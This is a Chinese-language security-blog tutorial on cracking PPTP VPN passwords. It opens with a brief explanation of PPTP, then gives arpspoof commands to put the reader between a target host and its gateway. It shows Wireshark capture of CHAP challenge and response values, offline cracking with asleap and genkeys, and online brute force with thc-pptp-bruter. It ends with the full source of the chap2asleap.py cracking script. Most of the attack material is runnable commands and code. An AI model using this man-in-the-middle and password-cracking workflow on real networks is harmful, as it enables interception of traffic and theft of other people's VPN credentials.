注册
登录
| 关键词： nbsp print asleap Challenge Response chap wordlist asleapPath txtResp txtChal |
FreeBuf科普 PPTP（Point to Point Tunneling Protocol），即点对点隧道协议。该协议是在PPP协议的基础上开发的一种新的增强型安全协议，支持多协议虚拟专用网（VPN），可以通过密码验证 协议（PAP）、可扩展认证协议（EAP）等方法增强安全性。可以使远程用户通过拨入ISP、通过直接连接Internet或其他网络安全地访问企业网。 1.asleap+genkeys使用的软件是 'asleap+genkeys' 套装；这两软件看参数感觉很简单的样子，其实际使用会让人郁闷不已：过程是：首先抓到含有用户名和密码的 **.pcap 文件包，然后用 genkeys 生成 asleap 专用的字典，再用 asleap 破解这个抓到的包就ok啦！ genkeys -r wordlist.lst -f wordlist.dat -n wordlist.idx asleap -r **.pcap -f wordlist.dat -n wordlist.idx 可实际本吊在使用的过程中asleap一直报错： 最后发现国外有大牛写了一个脚本用，'chap2asleap.py' ，转了过来，照着原文折腾下（原文地址：http://blog.g0tmi1k.com/2010/03/chap2asleappy-v011-vpn/）！首先本机对目标主机开始arp欺骗： arpspoof -i interface -t x.x.x.x y.y.y.y arpspoof -i interface -t y.y.y.y x.x.x.x 接下来开始用wireshark抓包 (ps：发现网上“很久”以前的文章关于pptp抓包工具都是 anger 和 pptp-sniff ，最近找了半天也没有找到资源，不知为什么) wireshark -i interface -k 目标主机登录vpn，让 wireshark 抓到包，用 'chap' 过滤下，这时我们已经可以看到明文的用户名了，然后分别复制 Challenge 和 Response 的 value 值： 使用 'chap2asleap.py' 破解密码： python chap2asleap.py -C Challenge_value -R Response_value -x -v -d /path/to/wordlist.lst -p /path/to/asleap -d #自定义字典文件，默认 /pentest/passwords/wordlists/darkc0de.lst -p #指定asleap所在的文件夹，默认 /usr/bin/ 如下图，破解一个自己测试密码报错，破解视频里的则能成功，估计win下的加密协议加强了吧 2.thc-pptp-bruter 接上面，wireshark探测到目标连接vpn的用户名和服务器地址之后： thc-pptp-bruter -u username vpn服务器ip < 字典文件 cat 字典文件 | thc-pptp-bruter -u username vpn服务器ip 可选参数： -n -l chap2asleap.py 脚本源码： #!/usr/bin/python #----------------------------------------------------------------------------------------------# #chap2asleap.py v0.2 (#3 2011-04-05) # # (C)opyright 2011 - g0tmi1k # #---Important----------------------------------------------------------------------------------# # *** Do NOT use this for illegal or malicious use *** # # By running this, YOU are using this program at YOUR OWN RISK. # # This software is provided "as is", WITHOUT ANY guarantees OR warranty. # #---Modules------------------------------------------------------------------------------------# import os, re, sys, hashlib, getopt, binascii, urllib2 #---Defaults-----------------------------------------------------------------------------------# # [/path/to/the/file] Use which file wordlistPath = "/pentest/passwords/wordlists/darkc0de.lst" # [/path/to/the/folder] Where is asleap? asleapPath = "/pentest/wireless/asleap" # [True/False] Shows more info verbose = False # [True/False] Runs asleap afterwords run = False # [True/False] Use the wordlist for the attack wordlist = False #---Variables----------------------------------------------------------------------------------# version = "0.2 #3" txtUser = "" # null the value txtChal = "" # null the value txtResp = "" # null the value action = "33[32m[>]33[0m " info = "33[33m[i]33[0m " diag = "33[34m[+]33[0m " error = "33[31m[!]33[0m " #----Functions---------------------------------------------------------------------------------# def SplitList( list, chunk_size ): return "".join([list[offs:offs+chunk_size] + ":" for offs in range(0, len(list), chunk_size)]) #----------------------------------------------------------------------------------------------# def help_message(): print """(C)opyright 2011 g0tmi1k ~ http://g0tmi1k.blogspot.com Usage: python chap2asleap.py [options] Options: -u username... -- Username -c 0123456789ABCDEF... -- PPP CHAP Challenge (32 characters) -r 0123456789ABCDEF... -- PPP CHAP Response (98 characters) -x -- Runs asleap afterwards -w -- Uses "Wordlist" for the attack, instead of "genkey" (Default is genkey) -p /path/to/asleap -- Example: """ + asleapPath + """ -d /path/to/wordlist.lst -- Example: """ + wordlistPath + """ -h -- Displays this help message -v -- Verbosity mode (shows more detail) --update -- Downloads the latest version Example: python chap2asleap.py -u scott -c e3a5d0775370bda51e16219a06b0278f -r 84c4b33e00d9231645598acf91c384800000000000000000565fe2492fd5fb88edaec934c00d282c046227406c31609b00 -x -v Extra Help: Authors Page: http://www.willhackforsushi.com/Asleap.html Blog Post: http://g0tmi1k.blogspot.com/2010/03/script-chap2asleappy.html Video: http://g0tmi1k.blogspot.com/2010/03/video-cracking-vpn-asleap-thc-pptp.html""" sys.exit(0) #----------------------------------------------------------------------------------------------# def updateScript(): try: rScript = urllib2.urlopen("http://g0tmi1k.googlecode.com/svn/trunk/chap2asleap/chap2asleap.py").read() except: print error + "Error: Couldn't connect to server" print error + "Update Failed" sys.exit(1) rVersion = re.findall("version = \"\d.+\d.+\d.", rScript.lower()) if rVersion: rVersion = rVersion[0].replace("version = ","").replace("\"","") else: print error + "Couldn't detect version. Please manually update" print error + "Update Failed" sys.exit(1) if version == rVersion: print action + "Up-to-date" else: print action + "Updating..." updateFile = open("chap2asleap.py", "w") updateFile.write(rScript) updateFile.close() print action + "Update complete" sys.exit(1) #---Main---------------------------------------------------------------------------------------# print "33[36m[*]33[0m chap2asleap v" + version + " ~ Asleap Argument Generator" #----------------------------------------------------------------------------------------------# try: opts, args = getopt.getopt(sys.argv[1:], "u:c:r:vxwp:d:h?", ["user=","challenge=","response=","path=","wordlist=","help", "update"]) except getopt.GetoptError, err: # print help information and exit print str(err) # will print something like "option -a not recognized" sys.exit(0) #if len(opts) == 0: # help_message() for o, a in opts: if o in ("-u", "--user"): txtUser = a if o in ("-c", "--challenge"): txtChal = a if o in ("-r", "--response"): txtResp = a if o == "-v": verbose = True if o == "-x": run = True if o == "-w": wordlist = True if o in ("-p", "--path"): asleapPath = a if o in ("-d", "--wordlist"): wordlistPath = a if o in ("-h", "--help", "-?"): help_message() if o == "--update": updateScript() #----------------------------------------------------------------------------------------------# mainLoop = True try: while mainLoop: if txtUser == "": txtUser = raw_input("[~] Please enter the username: ") else: mainLoop = False mainLoop = True while mainLoop: if txtChal == "": txtChal = raw_input("[~] Please enter the PPP CHAP Challenge: ") txtChal = txtChal.replace(":", "") if not re.search("[0-f]", txtChal): txtChal = "" print error+"Sorry, you can't input that for the CHAP Challenge. Only 0-9 a-f." elif len(txtChal) != 32: txtChal = "" print error+"Sorry, PPP CHAP Challenge has to be 32 bytes in length." else: mainLoop = False mainLoop = True while mainLoop: if txtResp == "": txtResp = raw_input("[~] Please enter the PPP CHAP Response: ") txtResp = txtResp.replace(":", "") if not re.search("[0-f]", txtResp): print error+"Sorry, you can't input that for the CHAP Response. Only 0-9 a-f." txtResp = "" elif len(txtResp) != 98: print error+"Sorry, PPP CHAP Response has to be 32 bytes in length." txtResp = "" else: mainLoop = False if asleapPath[-1:] == "/": asleapPath = asleapPath[0:-1] #----------------------------------------------------------------------------------------------# if verbose == True: print info + " Username: " + txtUser if verbose == True: print info + "CHAP Challenge: " + txtChal if verbose == True: print info + " CHAP Response: " + txtResp #----------------------------------------------------------------------------------------------# authChallenge = binascii.unhexlify(txtChal) peerChallenge = binascii.unhexlify((txtResp)[0:32]) response = txtResp[48:96] challenge = ((hashlib.sha1( peerChallenge + authChallenge + txtUser )).hexdigest())[0:16] if verbose == True: print info + "Auth Challenge: " + txtChal if verbose == True: print info + "Peer Challenge: " + (txtResp)[0:32] if verbose == True: print info + " Peer Response: " + response if verbose == True: print info + " Challenge: " + challenge challenge = (SplitList (challenge,2 ))[0:-1] response = (SplitList (response,2 ))[0:-1] #----------------------------------------------------------------------------------------------# print action+"Result:" print "cd " + asleapPath if wordlist == False: print "./genkey -r " + wordlistPath + " -f words.dat -n words.idx" print "./asleap -C " + challenge + " -R " + response + " -f words.dat -n words.idx" else: print "./asleap -C " + challenge + " -R " + response + " -W " + wordlistPath #----------------------------------------------------------------------------------------------# if (os.path.isfile(asleapPath + "/genkeys") and run == True): if wordlist == False: os.system (asleapPath + "/genkeys -r " + wordlistPath + " -f /tmp/words.dat -n /tmp/words.idx") os.system (asleapPath + "/asleap -C " + challenge + " -R " + response + " -f /tmp/words.dat -n /tmp/words.idx") os.remove ("/tmp/words.dat") os.remove ("/tmp/words.idx") if wordlist == True: os.system (asleapPath + "/asleap -C " + challenge + " -R " + response + " -W " + wordlistPath) elif run == True: print "alseap isn't located: " + asleapPath #----------------------------------------------------------------------------------------------# print "33[36m[*]33[0m Done! =)" #----------------------------------------------------------------------------------------------# except KeyboardInterrupt: print "" sys.exit(0) |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
